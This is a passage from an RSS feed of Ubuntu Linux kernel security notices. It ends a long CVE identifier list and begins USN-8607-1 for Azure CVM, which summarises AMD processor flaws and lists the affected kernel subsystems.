  - AMD SoC Alsa drivers;
  - QCOM ASoC drivers;
  - Renesas ASoC drivers;
  - Samsung ASoC drivers;
  - SoC audio core drivers;
  - SOF drivers;
  - STI ASoC drivers;
  - USB sound devices;
  - Objtool;
(CVE-2025-21709, CVE-2025-22116, CVE-2025-38426, CVE-2025-39764,
CVE-2025-40005, CVE-2025-40135, CVE-2025-40150, CVE-2025-68175,
CVE-2025-68239, CVE-2025-68334, CVE-2025-68736, CVE-2025-71152,
CVE-2025-71161, CVE-2025-71203, CVE-2025-71221, CVE-2025-71229,
CVE-2025-71231, CVE-2025-71232, CVE-2025-71233, CVE-2025-71235,
CVE-2025-71236, CVE-2025-71237, CVE-2025-71238, CVE-2025-71239,
CVE-2025-71265, CVE-2025-71266, CVE-2025-71267, CVE-2025-71269,
CVE-2025-71272, CVE-2025-71273, CVE-2025-71274, CVE-2025-71286,
CVE-2025-71287, CVE-2025-71288, CVE-2025-71291, CVE-2025-71292,
CVE-2025-71294, CVE-2025-71295, CVE-2025-71297, CVE-2025-71304,
CVE-2025-71305, CVE-2026-22981, CVE-2026-22985, CVE-2026-22993,
CVE-2026-23004, CVE-2026-23066, CVE-2026-23100, CVE-2026-23104,
CVE-2026-23118, CVE-2026-23138, CVE-2026-23154, CVE-2026-23157,
CVE-2026-23169, CVE-2026-23171, CVE-2026-23207, CVE-2026-23220,
CVE-2026-23221, CVE-2026-23222, CVE-2026-23226, CVE-2026-23227,
CVE-2026-23228, CVE-2026-23229, CVE-2026-23230, CVE-2026-23233,
CVE-2026-23234, CVE-2026-23235, CVE-2026-23236, CVE-2026-23237,
CVE-2026-23238, CVE-2026-23241, CVE-2026-23242, CVE-2026-23243,
CVE-2026-23244, CVE-2026-23245, CVE-2026-23246, CVE-2026-23249,
CVE-2026-23253, CVE-2026-23255, CVE-2026-23266, CVE-2026-23267,
CVE-2026-23270, CVE-2026-23271, CVE-2026-23272, CVE-2026-23276,
CVE-2026-23277, CVE-2026-23278, CVE-2026-23279, CVE-2026-23281,
CVE-2026-23284, CVE-2026-23285, CVE-2026-23286, CVE-2026-23287,
CVE-2026-23289, CVE-2026-23290, CVE-2026-23291, CVE-2026-23292,
CVE-2026-23293, CVE-2026-23296, CVE-2026-23298, CVE-2026-23300,
CVE-2026-23302, CVE-2026-23303, CVE-2026-23304, CVE-2026-23306,
CVE-2026-23307, CVE-2026-23308, CVE-2026-23310, CVE-2026-23312,
CVE-2026-23313, CVE-2026-23315, CVE-2026-23317, CVE-2026-23318,
CVE-2026-23319, CVE-2026-23321, CVE-2026-23324, CVE-2026-23325,
CVE-2026-23330, CVE-2026-23334, CVE-2026-23335, CVE-2026-23336,
CVE-2026-23339, CVE-2026-23340, CVE-2026-23343, CVE-2026-23347,
CVE-2026-23352, CVE-2026-23356, CVE-2026-23357, CVE-2026-23359,
CVE-2026-23360, CVE-2026-23361, CVE-2026-23362, CVE-2026-23363,
CVE-2026-23364, CVE-2026-23365, CVE-2026-23367, CVE-2026-23368,
CVE-2026-23369, CVE-2026-23370, CVE-2026-23372, CVE-2026-23374,
CVE-2026-23375, CVE-2026-23378, CVE-2026-23379, CVE-2026-23381,
CVE-2026-23382, CVE-2026-23383, CVE-2026-23386, CVE-2026-23387,
CVE-2026-23388, CVE-2026-23389, CVE-2026-23391, CVE-2026-23392,
CVE-2026-23395, CVE-2026-23396, CVE-2026-23397, CVE-2026-23398,
CVE-2026-23399, CVE-2026-23401, CVE-2026-23412, CVE-2026-23413,
CVE-2026-23414, CVE-2026-23418, CVE-2026-23419, CVE-2026-23420,
CVE-2026-23426, CVE-2026-23428, CVE-2026-23434, CVE-2026-23438,
CVE-2026-23439, CVE-2026-23440, CVE-2026-23441, CVE-2026-23442,
CVE-2026-23444, CVE-2026-23446, CVE-2026-23447, CVE-2026-23448,
CVE-2026-23449, CVE-2026-23450, CVE-2026-23452, CVE-2026-23454,
CVE-2026-23455, CVE-2026-23456, CVE-2026-23457, CVE-2026-23458,
CVE-2026-23460, CVE-2026-23461, CVE-2026-23462, CVE-2026-23463,
CVE-2026-23464, CVE-2026-23465, CVE-2026-23468, CVE-2026-23470,
CVE-2026-23474, CVE-2026-23475, CVE-2026-31389, CVE-2026-31391,
CVE-2026-31392, CVE-2026-31393, CVE-2026-31394, CVE-2026-31396,
CVE-2026-31399, CVE-2026-31400, CVE-2026-31402, CVE-2026-31403,
CVE-2026-31405, CVE-2026-31407, CVE-2026-31408, CVE-2026-31409,
CVE-2026-31411, CVE-2026-31412, CVE-2026-31414, CVE-2026-31415,
CVE-2026-31416, CVE-2026-31417, CVE-2026-31418, CVE-2026-31421,
CVE-2026-31422, CVE-2026-31423, CVE-2026-31424, CVE-2026-31425,
CVE-2026-31426, CVE-2026-31427, CVE-2026-31428, CVE-2026-31429,
CVE-2026-31430, CVE-2026-31432, CVE-2026-31433, CVE-2026-31434,
CVE-2026-31436, CVE-2026-31438, CVE-2026-31439, CVE-2026-31440,
CVE-2026-31441, CVE-2026-31446, CVE-2026-31447, CVE-2026-31448,
CVE-2026-31449, CVE-2026-31450, CVE-2026-31451, CVE-2026-31452,
CVE-2026-31453, CVE-2026-31454, CVE-2026-31455, CVE-2026-31458,
CVE-2026-31464, CVE-2026-31466, CVE-2026-31467, CVE-2026-31469,
CVE-2026-31470, CVE-2026-31473, CVE-2026-31474, CVE-2026-31476,
CVE-2026-31477, CVE-2026-31478, CVE-2026-31480, CVE-2026-31482,
CVE-2026-31483, CVE-2026-31485, CVE-2026-31487, CVE-2026-31488,
CVE-2026-31489, CVE-2026-31492, CVE-2026-31494, CVE-2026-31495,
CVE-2026-31496, CVE-2026-31497, CVE-2026-31498, CVE-2026-31499,
CVE-2026-31500, CVE-2026-31502, CVE-2026-31503, CVE-2026-31505,
CVE-2026-31506, CVE-2026-31507, CVE-2026-31508, CVE-2026-31509,
CVE-2026-31510, CVE-2026-31511, CVE-2026-31512, CVE-2026-31515,
CVE-2026-31516, CVE-2026-31518, CVE-2026-31519, CVE-2026-31520,
CVE-2026-31521, CVE-2026-31522, CVE-2026-31523, CVE-2026-31524,
CVE-2026-31525, CVE-2026-31527, CVE-2026-31528, CVE-2026-31530,
CVE-2026-31532, CVE-2026-31540, CVE-2026-31542, CVE-2026-31545,
CVE-2026-31546, CVE-2026-31548, CVE-2026-31549, CVE-2026-31550,
CVE-2026-31551, CVE-2026-31552, CVE-2026-31554, CVE-2026-31555,
CVE-2026-31556, CVE-2026-31557, CVE-2026-31563, CVE-2026-31565,
CVE-2026-31566, CVE-2026-31570, CVE-2026-31575, CVE-2026-31576,
CVE-2026-31577, CVE-2026-31578, CVE-2026-31580, CVE-2026-31581,
CVE-2026-31582, CVE-2026-31583, CVE-2026-31584, CVE-2026-31585,
CVE-2026-31586, CVE-2026-31587, CVE-2026-31588, CVE-2026-31590,
CVE-2026-31594, CVE-2026-31595, CVE-2026-31596, CVE-2026-31597,
CVE-2026-31598, CVE-2026-31599, CVE-2026-31602, CVE-2026-31603,
CVE-2026-31604, CVE-2026-31605, CVE-2026-31606, CVE-2026-31607,
CVE-2026-31610, CVE-2026-31611, CVE-2026-31612, CVE-2026-31613,
CVE-2026-31615, CVE-2026-31616, CVE-2026-31617, CVE-2026-31618,
CVE-2026-31619, CVE-2026-31622, CVE-2026-31623, CVE-2026-31624,
CVE-2026-31625, CVE-2026-31626, CVE-2026-31627, CVE-2026-31628,
CVE-2026-31629, CVE-2026-31634, CVE-2026-31637, CVE-2026-31638,
CVE-2026-31639, CVE-2026-31642, CVE-2026-31645, CVE-2026-31646,
CVE-2026-31648, CVE-2026-31649, CVE-2026-31651, CVE-2026-31655,
CVE-2026-31656, CVE-2026-31657, CVE-2026-31658, CVE-2026-31659,
CVE-2026-31660, CVE-2026-31661, CVE-2026-31662, CVE-2026-31664,
CVE-2026-31665, CVE-2026-31667, CVE-2026-31668, CVE-2026-31669,
CVE-2026-31670, CVE-2026-31671, CVE-2026-31672, CVE-2026-31673,
CVE-2026-31674, CVE-2026-31675, CVE-2026-31677, CVE-2026-31678,
CVE-2026-31679, CVE-2026-31680, CVE-2026-31681, CVE-2026-31682,
CVE-2026-31683, CVE-2026-31684, CVE-2026-31685, CVE-2026-31686,
CVE-2026-31687, CVE-2026-31689, CVE-2026-31693, CVE-2026-31694,
CVE-2026-31695, CVE-2026-31696, CVE-2026-31697, CVE-2026-31698,
CVE-2026-31699, CVE-2026-31700, CVE-2026-31701, CVE-2026-31702,
CVE-2026-31704, CVE-2026-31705, CVE-2026-31706, CVE-2026-31707,
CVE-2026-31708, CVE-2026-31709, CVE-2026-31711, CVE-2026-31712,
CVE-2026-31714, CVE-2026-31715, CVE-2026-31716, CVE-2026-31720,
CVE-2026-31721, CVE-2026-31722, CVE-2026-31723, CVE-2026-31724,
CVE-2026-31725, CVE-2026-31726, CVE-2026-31728, CVE-2026-31729,
CVE-2026-31730, CVE-2026-31731, CVE-2026-31737, CVE-2026-31738,
CVE-2026-31740, CVE-2026-31741, CVE-2026-31747, CVE-2026-31748,
CVE-2026-31749, CVE-2026-31751, CVE-2026-31752, CVE-2026-31754,
CVE-2026-31755, CVE-2026-31756, CVE-2026-31758, CVE-2026-31759,
CVE-2026-31761, CVE-2026-31762, CVE-2026-31763, CVE-2026-31767,
CVE-2026-31768, CVE-2026-31770, CVE-2026-31772, CVE-2026-31773,
CVE-2026-31778, CVE-2026-31779, CVE-2026-31780, CVE-2026-31781,
CVE-2026-31788, CVE-2026-43007, CVE-2026-43011, CVE-2026-43012,
CVE-2026-43013, CVE-2026-43014, CVE-2026-43015, CVE-2026-43016,
CVE-2026-43017, CVE-2026-43018, CVE-2026-43019, CVE-2026-43020,
CVE-2026-43023, CVE-2026-43024, CVE-2026-43025, CVE-2026-43026,
CVE-2026-43027, CVE-2026-43028, CVE-2026-43030, CVE-2026-43032,
CVE-2026-43035, CVE-2026-43036, CVE-2026-43037, CVE-2026-43038,
CVE-2026-43040, CVE-2026-43041, CVE-2026-43043, CVE-2026-43044,
CVE-2026-43046, CVE-2026-43047, CVE-2026-43049, CVE-2026-43050,
CVE-2026-43051, CVE-2026-43052, CVE-2026-43054, CVE-2026-43056,
CVE-2026-43057, CVE-2026-43058, CVE-2026-43059, CVE-2026-43060,
CVE-2026-43061, CVE-2026-43062, CVE-2026-43064, CVE-2026-43065,
CVE-2026-43066, CVE-2026-43068, CVE-2026-43069, CVE-2026-43071,
CVE-2026-43072, CVE-2026-43073, CVE-2026-43074, CVE-2026-43075,
CVE-2026-43076, CVE-2026-43079, CVE-2026-43080, CVE-2026-43081,
CVE-2026-43082, CVE-2026-43085, CVE-2026-43086, CVE-2026-43088,
CVE-2026-43089, CVE-2026-43091, CVE-2026-43092, CVE-2026-43093,
CVE-2026-43094, CVE-2026-43098, CVE-2026-43099, CVE-2026-43103,
CVE-2026-43104, CVE-2026-43105, CVE-2026-43107, CVE-2026-43109,
CVE-2026-43110, CVE-2026-43111, CVE-2026-43112, CVE-2026-43113,
CVE-2026-43114, CVE-2026-43117, CVE-2026-43119, CVE-2026-43120,
CVE-2026-43123, CVE-2026-43124, CVE-2026-43128, CVE-2026-43129,
CVE-2026-43130, CVE-2026-43132, CVE-2026-43133, CVE-2026-43134,
CVE-2026-43135, CVE-2026-43136, CVE-2026-43137, CVE-2026-43139,
CVE-2026-43140, CVE-2026-43141, CVE-2026-43143, CVE-2026-43145,
CVE-2026-43147, CVE-2026-43148, CVE-2026-43149, CVE-2026-43150,
CVE-2026-43152, CVE-2026-43153, CVE-2026-43156, CVE-2026-43157,
CVE-2026-43158, CVE-2026-43159, CVE-2026-43162, CVE-2026-43163,
CVE-2026-43167, CVE-2026-43168, CVE-2026-43169, CVE-2026-43170,
CVE-2026-43171, CVE-2026-43173, CVE-2026-43175, CVE-2026-43180,
CVE-2026-43182, CVE-2026-43183, CVE-2026-43184, CVE-2026-43185,
CVE-2026-43186, CVE-2026-43187, CVE-2026-43189, CVE-2026-43190,
CVE-2026-43194, CVE-2026-43196, CVE-2026-43199, CVE-2026-43200,
CVE-2026-43201, CVE-2026-43202, CVE-2026-43203, CVE-2026-43205,
CVE-2026-43206, CVE-2026-43207, CVE-2026-43209, CVE-2026-43211,
CVE-2026-43212, CVE-2026-43214, CVE-2026-43215, CVE-2026-43218,
CVE-2026-43221, CVE-2026-43222, CVE-2026-43223, CVE-2026-43225,
CVE-2026-43226, CVE-2026-43227, CVE-2026-43230, CVE-2026-43231,
CVE-2026-43232, CVE-2026-43233, CVE-2026-43236, CVE-2026-43238,
CVE-2026-43239, CVE-2026-43241, CVE-2026-43242, CVE-2026-43244,
CVE-2026-43245, CVE-2026-43246, CVE-2026-43248, CVE-2026-43249,
CVE-2026-43250, CVE-2026-43251, CVE-2026-43252, CVE-2026-43253,
CVE-2026-43255, CVE-2026-43256, CVE-2026-43257, CVE-2026-43258,
CVE-2026-43261, CVE-2026-43262, CVE-2026-43264, CVE-2026-43265,
CVE-2026-43266, CVE-2026-43268, CVE-2026-43269, CVE-2026-43270,
CVE-2026-43271, CVE-2026-43273, CVE-2026-43275, CVE-2026-43277,
CVE-2026-43278, CVE-2026-43279, CVE-2026-43281, CVE-2026-43283,
CVE-2026-43287, CVE-2026-43288, CVE-2026-43289, CVE-2026-43291,
CVE-2026-43295, CVE-2026-43296, CVE-2026-43297, CVE-2026-43300,
CVE-2026-43302, CVE-2026-43304, CVE-2026-43312, CVE-2026-43313,
CVE-2026-43314, CVE-2026-43315, CVE-2026-43316, CVE-2026-43317,
CVE-2026-43318, CVE-2026-43319, CVE-2026-43320, CVE-2026-43324,
CVE-2026-43327, CVE-2026-43328, CVE-2026-43329, CVE-2026-43330,
CVE-2026-43332, CVE-2026-43333, CVE-2026-43334, CVE-2026-43336,
CVE-2026-43338, CVE-2026-43339, CVE-2026-43340, CVE-2026-43341,
CVE-2026-43342, CVE-2026-43343, CVE-2026-43345, CVE-2026-43350,
CVE-2026-43355, CVE-2026-43357, CVE-2026-43359, CVE-2026-43360,
CVE-2026-43361, CVE-2026-43363, CVE-2026-43365, CVE-2026-43366,
CVE-2026-43368, CVE-2026-43370, CVE-2026-43372, CVE-2026-43373,
CVE-2026-43377, CVE-2026-43378, CVE-2026-43380, CVE-2026-43381,
CVE-2026-43382, CVE-2026-43383, CVE-2026-43384, CVE-2026-43386,
CVE-2026-43387, CVE-2026-43395, CVE-2026-43397, CVE-2026-43405,
CVE-2026-43406, CVE-2026-43407, CVE-2026-43408, CVE-2026-43409,
CVE-2026-43411, CVE-2026-43412, CVE-2026-43413, CVE-2026-43414,
CVE-2026-43415, CVE-2026-43419, CVE-2026-43420, CVE-2026-43421,
CVE-2026-43424, CVE-2026-43425, CVE-2026-43426, CVE-2026-43427,
CVE-2026-43428, CVE-2026-43429, CVE-2026-43430, CVE-2026-43432,
CVE-2026-43436, CVE-2026-43437, CVE-2026-43439, CVE-2026-43441,
CVE-2026-43445, CVE-2026-43448, CVE-2026-43449, CVE-2026-43450,
CVE-2026-43451, CVE-2026-43452, CVE-2026-43453, CVE-2026-43455,
CVE-2026-43456, CVE-2026-43457, CVE-2026-43458, CVE-2026-43459,
CVE-2026-43466, CVE-2026-43467, CVE-2026-43468, CVE-2026-43469,
CVE-2026-43471, CVE-2026-43472, CVE-2026-43473, CVE-2026-43475,
CVE-2026-43476, CVE-2026-43480, CVE-2026-43483, CVE-2026-43484,
CVE-2026-43488, CVE-2026-43490, CVE-2026-43491, CVE-2026-43492,
CVE-2026-43493, CVE-2026-43495, CVE-2026-43496, CVE-2026-43497,
CVE-2026-43499, CVE-2026-43501, CVE-2026-43502, CVE-2026-45834,
CVE-2026-45835, CVE-2026-45836, CVE-2026-45838, CVE-2026-45839,
CVE-2026-45840, CVE-2026-45841, CVE-2026-45842, CVE-2026-45843,
CVE-2026-45844, CVE-2026-45845, CVE-2026-45846, CVE-2026-45847,
CVE-2026-45848, CVE-2026-45849, CVE-2026-45851, CVE-2026-45852,
CVE-2026-45855, CVE-2026-45856, CVE-2026-45857, CVE-2026-45858,
CVE-2026-45859, CVE-2026-45860, CVE-2026-45861, CVE-2026-45862,
CVE-2026-45864, CVE-2026-45865, CVE-2026-45866, CVE-2026-45867,
CVE-2026-45868, CVE-2026-45869, CVE-2026-45870, CVE-2026-45871,
CVE-2026-45872, CVE-2026-45873, CVE-2026-45875, CVE-2026-45877,
CVE-2026-45878, CVE-2026-45879, CVE-2026-45880, CVE-2026-45881,
CVE-2026-45882, CVE-2026-45883, CVE-2026-45884, CVE-2026-45885,
CVE-2026-45886, CVE-2026-45890, CVE-2026-45891, CVE-2026-45893,
CVE-2026-45895, CVE-2026-45899, CVE-2026-45902, CVE-2026-45904,
CVE-2026-45905, CVE-2026-45910, CVE-2026-45911, CVE-2026-45912,
CVE-2026-45913, CVE-2026-45914, CVE-2026-45915, CVE-2026-45916,
CVE-2026-45917, CVE-2026-45919, CVE-2026-45920, CVE-2026-45921,
CVE-2026-45923, CVE-2026-45924, CVE-2026-45928, CVE-2026-45935,
CVE-2026-45936, CVE-2026-45938, CVE-2026-45941, CVE-2026-45942,
CVE-2026-45943, CVE-2026-45946, CVE-2026-45947, CVE-2026-45948,
CVE-2026-45954, CVE-2026-45956, CVE-2026-45957, CVE-2026-45958,
CVE-2026-45960, CVE-2026-45962, CVE-2026-45964, CVE-2026-45965,
CVE-2026-45968, CVE-2026-45969, CVE-2026-45970, CVE-2026-45972,
CVE-2026-45973, CVE-2026-45974, CVE-2026-45976, CVE-2026-45978,
CVE-2026-45981, CVE-2026-45982, CVE-2026-45983, CVE-2026-45984,
CVE-2026-45985, CVE-2026-45986, CVE-2026-45987, CVE-2026-45988,
CVE-2026-45989, CVE-2026-45991, CVE-2026-45994, CVE-2026-45996,
CVE-2026-45997, CVE-2026-45999, CVE-2026-46002, CVE-2026-46003,
CVE-2026-46004, CVE-2026-46005, CVE-2026-46006, CVE-2026-46007,
CVE-2026-46009, CVE-2026-46011, CVE-2026-46012, CVE-2026-46015,
CVE-2026-46016, CVE-2026-46018, CVE-2026-46019, CVE-2026-46021,
CVE-2026-46022, CVE-2026-46023, CVE-2026-46024, CVE-2026-46026,
CVE-2026-46027, CVE-2026-46031, CVE-2026-46033, CVE-2026-46037,
CVE-2026-46038, CVE-2026-46040, CVE-2026-46041, CVE-2026-46043,
CVE-2026-46044, CVE-2026-46046, CVE-2026-46047, CVE-2026-46049,
CVE-2026-46050, CVE-2026-46051, CVE-2026-46052, CVE-2026-46053,
CVE-2026-46056, CVE-2026-46058, CVE-2026-46061, CVE-2026-46062,
CVE-2026-46063, CVE-2026-46064, CVE-2026-46065, CVE-2026-46068,
CVE-2026-46069, CVE-2026-46070, CVE-2026-46072, CVE-2026-46073,
CVE-2026-46075, CVE-2026-46076, CVE-2026-46077, CVE-2026-46078,
CVE-2026-46079, CVE-2026-46080, CVE-2026-46082, CVE-2026-46083,
CVE-2026-46084, CVE-2026-46086, CVE-2026-46088, CVE-2026-46089,
CVE-2026-46090, CVE-2026-46091, CVE-2026-46092, CVE-2026-46094,
CVE-2026-46098, CVE-2026-46099, CVE-2026-46101, CVE-2026-46102,
CVE-2026-46103, CVE-2026-46106, CVE-2026-46107, CVE-2026-46108,
CVE-2026-46110, CVE-2026-46111, CVE-2026-46112, CVE-2026-46113,
CVE-2026-46114, CVE-2026-46115, CVE-2026-46116, CVE-2026-46117,
CVE-2026-46119, CVE-2026-46120, CVE-2026-46121, CVE-2026-46122,
CVE-2026-46123, CVE-2026-46124, CVE-2026-46125, CVE-2026-46126,
CVE-2026-46127, CVE-2026-46128, CVE-2026-46129, CVE-2026-46131,
CVE-2026-46132, CVE-2026-46133, CVE-2026-46135, CVE-2026-46136,
CVE-2026-46137, CVE-2026-46138, CVE-2026-46139, CVE-2026-46142,
CVE-2026-46143, CVE-2026-46144, CVE-2026-46145, CVE-2026-46146,
CVE-2026-46149, CVE-2026-46150, CVE-2026-46151, CVE-2026-46152,
CVE-2026-46157, CVE-2026-46159, CVE-2026-46160, CVE-2026-46161,
CVE-2026-46163, CVE-2026-46164, CVE-2026-46167, CVE-2026-46168,
CVE-2026-46169, CVE-2026-46172, CVE-2026-46173, CVE-2026-46174,
CVE-2026-46176, CVE-2026-46177, CVE-2026-46178, CVE-2026-46179,
CVE-2026-46180, CVE-2026-46184, CVE-2026-46185, CVE-2026-46186,
CVE-2026-46187, CVE-2026-46189, CVE-2026-46190, CVE-2026-46191,
CVE-2026-46193, CVE-2026-46194, CVE-2026-46195, CVE-2026-46196,
CVE-2026-46197, CVE-2026-46198, CVE-2026-46199, CVE-2026-46200,
CVE-2026-46201, CVE-2026-46204, CVE-2026-46205, CVE-2026-46206,
CVE-2026-46207, CVE-2026-46208, CVE-2026-46209, CVE-2026-46211,
CVE-2026-46212, CVE-2026-46214, CVE-2026-46218, CVE-2026-46219,
CVE-2026-46220, CVE-2026-46225, CVE-2026-46226, CVE-2026-46227,
CVE-2026-46229, CVE-2026-46230, CVE-2026-46231, CVE-2026-46232,
CVE-2026-46233, CVE-2026-46234, CVE-2026-46235, CVE-2026-46236,
CVE-2026-46238, CVE-2026-46241, CVE-2026-46243, CVE-2026-46244,
CVE-2026-46246, CVE-2026-46247, CVE-2026-46249, CVE-2026-46250,
CVE-2026-46251, CVE-2026-46253, CVE-2026-46254, CVE-2026-46255,
CVE-2026-46259, CVE-2026-46260, CVE-2026-46261, CVE-2026-46265,
CVE-2026-46266, CVE-2026-46267, CVE-2026-46270, CVE-2026-46273,
CVE-2026-46274, CVE-2026-46280, CVE-2026-46282, CVE-2026-46285,
CVE-2026-46286, CVE-2026-46287, CVE-2026-46289, CVE-2026-46291,
CVE-2026-46292, CVE-2026-46293, CVE-2026-46294, CVE-2026-46296,
CVE-2026-46299, CVE-2026-46301, CVE-2026-46303, CVE-2026-46304,
CVE-2026-46306, CVE-2026-46307, CVE-2026-46312, CVE-2026-46314,
CVE-2026-46319, CVE-2026-46328, CVE-2026-52911, CVE-2026-52920,
CVE-2026-52925, CVE-2026-52933, CVE-2026-52936, CVE-2026-52951,
CVE-2026-52954, CVE-2026-52955, CVE-2026-52957, CVE-2026-52958,
CVE-2026-52961, CVE-2026-52962, CVE-2026-52963, CVE-2026-52964,
CVE-2026-52967, CVE-2026-52968, CVE-2026-52969, CVE-2026-52970,
CVE-2026-52974, CVE-2026-52975, CVE-2026-52977, CVE-2026-52981,
CVE-2026-52982, CVE-2026-52984, CVE-2026-52985, CVE-2026-52986,
CVE-2026-52989, CVE-2026-52990, CVE-2026-52992, CVE-2026-52993,
CVE-2026-52995, CVE-2026-52998, CVE-2026-52999, CVE-2026-53001,
CVE-2026-53002, CVE-2026-53003, CVE-2026-53004, CVE-2026-53006,
CVE-2026-53011, CVE-2026-53012, CVE-2026-53013, CVE-2026-53014,
CVE-2026-53015, CVE-2026-53016, CVE-2026-53021, CVE-2026-53022,
CVE-2026-53023, CVE-2026-53032, CVE-2026-53033, CVE-2026-53034,
CVE-2026-53035, CVE-2026-53036, CVE-2026-53037, CVE-2026-53039,
CVE-2026-53040, CVE-2026-53041, CVE-2026-53043, CVE-2026-53045,
CVE-2026-53046, CVE-2026-53047, CVE-2026-53048, CVE-2026-53049,
CVE-2026-53050, CVE-2026-53052, CVE-2026-53056, CVE-2026-53058,
CVE-2026-53059, CVE-2026-53060, CVE-2026-53061, CVE-2026-53062,
CVE-2026-53063, CVE-2026-53064, CVE-2026-53065, CVE-2026-53066,
CVE-2026-53068, CVE-2026-53069, CVE-2026-53071, CVE-2026-53072,
CVE-2026-53073, CVE-2026-53074, CVE-2026-53075, CVE-2026-53076,
CVE-2026-53077, CVE-2026-53082, CVE-2026-53083, CVE-2026-53084,
CVE-2026-53085, CVE-2026-53086, CVE-2026-53088, CVE-2026-53093,
CVE-2026-53094, CVE-2026-53096, CVE-2026-53097, CVE-2026-53098,
CVE-2026-53110, CVE-2026-53111, CVE-2026-53112, CVE-2026-53115,
CVE-2026-53117, CVE-2026-53122, CVE-2026-53123, CVE-2026-53126,
CVE-2026-53128, CVE-2026-53130, CVE-2026-53279, CVE-2026-53287,
CVE-2026-53289, CVE-2026-53291, CVE-2026-53293, CVE-2026-53294,
CVE-2026-53295, CVE-2026-53296, CVE-2026-53303, CVE-2026-53304,
CVE-2026-53306, CVE-2026-53309, CVE-2026-53314, CVE-2026-53320,
CVE-2026-53369, CVE-2026-53374, CVE-2026-53375, CVE-2026-53376,
CVE-2026-53379, CVE-2026-63838, CVE-2026-63843, CVE-2026-63844,
CVE-2026-63845, CVE-2026-63846, CVE-2026-63847, CVE-2026-63848,
CVE-2026-63851, CVE-2026-63852, CVE-2026-63854, CVE-2026-63855,
CVE-2026-63856, CVE-2026-63860, CVE-2026-63861, CVE-2026-63862,
CVE-2026-63865, CVE-2026-64018, CVE-2026-64034)]]></content:encoded>
</item>
<item>
<title><![CDATA[USN-8607-1: Linux kernel (Azure CVM) vulnerabilities]]></title>
<description><![CDATA[It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shar...]]></description>
<link>https://tsecurity.de/de/3691497/unix-server/usn-8607-1-linux-kernel-azure-cvm-vulnerabilities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691497/unix-server/usn-8607-1-linux-kernel-azure-cvm-vulnerabilities/</guid>
<pubDate>Fri, 24 Jul 2026 14:17:40 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shared resources in the operation cache. A local attacker could possibly
use this issue to corrupt instructions executed at a higher privilege
level, resulting in privilege escalation. (CVE-2025-54518)

It was discovered that some AMD Zen 5 processors supporting RDSEED
instruction did not properly handle entropy, potentially resulting in the
consumption of insufficiently random values. A local attacker could
possibly use this issue to influence the values returned by the RDSEED
instruction causing loss of confidentiality and integrity. (CVE-2025-62626)

Several security issues were discovered in the Linux kernel.
An attacker could possibly use these to compromise the system.
This update corrects flaws in the following subsystems:
  - ARM64 architecture;
  - MIPS architecture;
  - PowerPC architecture;
  - RISC-V architecture;
  - S390 architecture;
  - x86 architecture;
  - Block layer subsystem;
  - Cryptographic API;
  - Compute Acceleration Framework;
  - ACPI drivers;
  - Serial ATA and Parallel ATA drivers;
  - ATM drivers;
  - Drivers core;
  - Power management core;
  - DRBD Distributed Replicated Block Device drivers;
  - Rados block device (RBD) driver;
  - RNBD block device driver;
  - Ublk userspace block driver;
  - Compressed RAM block device driver;
  - Bluetooth drivers;
  - Bus devices;
  - Character device driver;
  - TPM device driver;
  - Clock framework and drivers;
  - Clocksource drivers;
  - Data acquisition framework and drivers;
  - Counter interface drivers;
  - CPU frequency scaling framework;
  - CPU idle management framework;
  - Hardware crypto device drivers;
  - CXL (Compute Express Link) drivers;
  - DMA engine subsystem;
  - EDAC drivers;
  - EFI core;
  - GPIO subsystem;
  - GPU drivers;
  - Greybus drivers;
  - HID subsystem;
  - Hardware monitoring drivers;
  - I2C subsystem;
  - IIO subsystem;
  - IIO ADC drivers;
  - InfiniBand drivers;
  - Input Device (Miscellaneous) drivers;
  - IOMMU subsystem;
  - IRQ chip drivers;
  - LED subsystem;
  - Mailbox framework;
  - Multiple devices driver;
  - Media drivers;
  - MediaTek SMI driver;
  - NVIDIA Tegra memory controller driver;
  - Multifunction device drivers;
  - Broadcom VK accelerator driver;
  - Fastrpc Driver;
  - IBM Advanced System Management driver;
  - MMC subsystem;
  - MOST (Media Oriented Systems Transport) drivers;
  - MTD block device drivers;
  - Network drivers;
  - Ethernet bonding driver;
  - Mellanox network drivers;
  - Microsoft Azure Network Adapter (MANA) driver;
  - STMicroelectronics network drivers;
  - Ethernet team driver;
  - MediaTek network drivers;
  - Near Field Communication (NFC) drivers;
  - NTB driver;
  - NVDIMM (Non-Volatile Memory Device) drivers;
  - NVME drivers;
  - Device tree and open firmware driver;
  - PCI subsystem;
  - Performance monitor drivers;
  - Pin controllers subsystem;
  - x86 platform drivers;
  - Broadcom BCM2835 power domain driver;
  - Generic PM domains;
  - i.MX PM domains;
  - Power supply drivers;
  - RapidIO drivers;
  - RAS (Reliability, Availability, Serviceability) subsystem;
  - Remote Processor subsystem;
  - RPMSG subsystem;
  - S/390 drivers;
  - SCSI subsystem;
  - SLIMbus drivers;
  - Freescale SoC drivers;
  - MediaTek SoC drivers;
  - Microchip PolarFire SoC system controller driver;
  - Texas Instruments SoC drivers;
  - SPI subsystem;
  - Greybus lights staging drivers;
  - Media staging drivers;
  - Realtek RTL8723BS SDIO drivers;
  - SM750 framebuffer staging driver;
  - TCM subsystem;
  - Thermal drivers;
  - TTY drivers;
  - UFS subsystem;
  - Cadence USB3 driver;
  - ChipIdea USB driver;
  - USB Device Class drivers;
  - ULPI bus;
  - USB core drivers;
  - DesignWare USB2 driver;
  - DesignWare USB3 driver;
  - USB Gadget drivers;
  - USB Host Controller drivers;
  - Mustek MDC800 USB digital camera driver;
  - USB YUREX driver;
  - Renesas USBHS Controller drivers;
  - USB Type-C Connector System Software Interface driver;
  - USB over IP driver;
  - vDPA drivers;
  - VFIO drivers;
  - Virtio Host (VHOST) subsystem;
  - Framebuffer layer;
  - TSM TDX Guest driver;
  - Xen hypervisor drivers;
  - File systems infrastructure;
  - BTRFS file system;
  - Ceph distributed file system;
  - EROFS file system;
  - Ext4 file system;
  - F2FS file system;
  - FAT file system;
  - FUSE (File system in Userspace);
  - GFS2 file system;
  - HFS+ file system;
  - Journaling layer for block devices (JBD2);
  - JFS file system;
  - Network file systems library;
